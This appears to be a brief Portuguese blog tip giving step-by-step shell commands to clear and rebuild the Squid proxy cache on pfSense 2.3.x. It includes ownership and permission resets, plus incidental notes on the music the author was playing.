Retirado do site oficial: http://doc.otrs.com/doc/manual/admin/5.0/en/html/upgrading.html

Ao som de Slipknot – Duality

Dica rápida de como limpar o cache do Squid no PfSense 2.3.x. (versão que foi testada)
Obs: Antes de começar, veja qual é o proprietário e o grupo do diretório /var/squid/cache, pois será dada a permissão novamente a eles.

 

1 – Pare o serviço do Squid

/usr/local/etc/rc.d/squid.sh stop

 

2 – Remova o diretório do cache do squid e depois crie novamente

rm -rf /var/squid/cache/
mkdir -p /var/squid/cache/

 

3 – Altere o proprietário e o grupo para que estavam antes de apagar os diretórios:

chown proxy:proxy /var/squid/cache/
ou
chown squid:squid /var/squid/cache/

 

4 – Altere a permissão para 750:

chmod 750 /var/squid/cache/

 

5 – Reinicie o Squid:

squid -z
/usr/local/etc/rc.d/squid.sh start

Ao som de: Mamonas Assassinas – 1406